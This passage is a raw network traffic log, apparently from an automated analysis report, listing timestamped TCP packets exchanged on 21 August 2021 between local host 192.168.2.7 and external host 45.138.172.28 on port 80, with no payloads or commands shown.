Aug 21, 2021 21:46:33.134459019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134480000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134483099 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134504080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134516954 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134525061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134545088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134567976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134574890 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134593010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134607077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134622097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134670973 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134713888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134733915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134752035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134771109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134788036 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134789944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134812117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134814024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134834051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134850025 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134855986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134877920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134897947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134902000 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134918928 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134938955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134947062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.134960890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134985924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.134989977 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.135008097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135027885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135046959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135056019 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.135066986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135087013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135099888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.135108948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135145903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.135154009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.135158062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135179996 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135200977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135222912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135234118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.135243893 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135265112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.135270119 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.135307074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.161638975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161679029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161700964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161720037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161742926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161766052 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161787987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161796093 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.161811113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161834002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161851883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.161859035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161883116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161891937 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.161905050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161907911 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.161926985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161947012 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.161950111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161972046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.161993027 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.161994934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162019968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162039042 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162045956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162070036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162091017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162094116 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162113905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162137032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162158966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162158966 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162182093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162204027 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162213087 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162230015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162239075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162252903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162275076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162277937 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162297964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162317991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162326097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162348032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162364960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162369967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162393093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162417889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162427902 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162441015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162463903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162465096 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162483931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162502050 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162503958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162523031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162539959 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162543058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162563086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162585020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162592888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162606001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162616968 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162625074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162643909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162656069 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162663937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162683010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162702084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162708044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162719965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162735939 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162741899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162763119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162781954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162798882 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162801981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162821054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162833929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162842035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162861109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162862062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162880898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162899971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162906885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162929058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162950039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162970066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162971020 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.162992001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.162993908 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.163012028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163028955 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.163033009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163053036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163073063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163084030 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.163091898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163108110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163111925 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.163146973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163156986 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.163167953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163209915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163234949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.163259983 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.163331985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.189735889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.189776897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.189796925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.189820051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.189842939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.189871073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.189896107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.189943075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190042973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190068007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190094948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190119028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190135956 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190155029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190159082 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190162897 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190180063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190202951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190226078 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190227032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190249920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190263033 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190273046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190295935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190298080 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190318108 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190347910 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190362930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190387964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190407038 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190412045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190433025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190455914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190474033 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190479040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190499067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190500975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190524101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190547943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190556049 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190572977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190597057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190597057 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190618038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190642118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190658092 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190665007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190686941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190694094 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190710068 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190732956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190735102 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190757990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190783024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190793991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190805912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190824986 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190829992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190854073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190877914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190886021 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190901995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190924883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190952063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190972090 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190977097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.190980911 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.190999985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191023111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191046953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191070080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191092014 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191093922 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191101074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191144943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191170931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191196918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191220999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191245079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191268921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191292048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191241026 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191306114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191309929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191313028 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191314936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191339016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191363096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191389084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191399097 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191409111 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191412926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191440105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191462994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191471100 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191488028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191493988 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191510916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191534042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191536903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191557884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191584110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191605091 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191608906 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191632032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.191660881 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.191694021 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218040943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218425989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218460083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218481064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218502998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218523979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218550920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218575001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218599081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218625069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218628883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218650103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218676090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218692064 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218703032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218728065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218743086 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218755960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218781948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218785048 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218806982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218827009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218832970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218858957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218883991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218899965 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218909025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218933105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218934059 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218957901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.218976974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.218990088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219013929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219034910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219041109 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.219057083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219077110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.219078064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219099045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219111919 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.219146013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219172955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219197035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219219923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219222069 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.219242096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.219254017 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.219279051 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.285218954 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.311650991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311692953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311717033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311738968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311760902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311784029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311805010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311816931 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.311825991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311849117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311872959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311876059 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.311897039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311918020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311928988 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:33.311939001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311960936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:33.311968088 CEST	49738	80	192.168.2.7	45.138.172.28
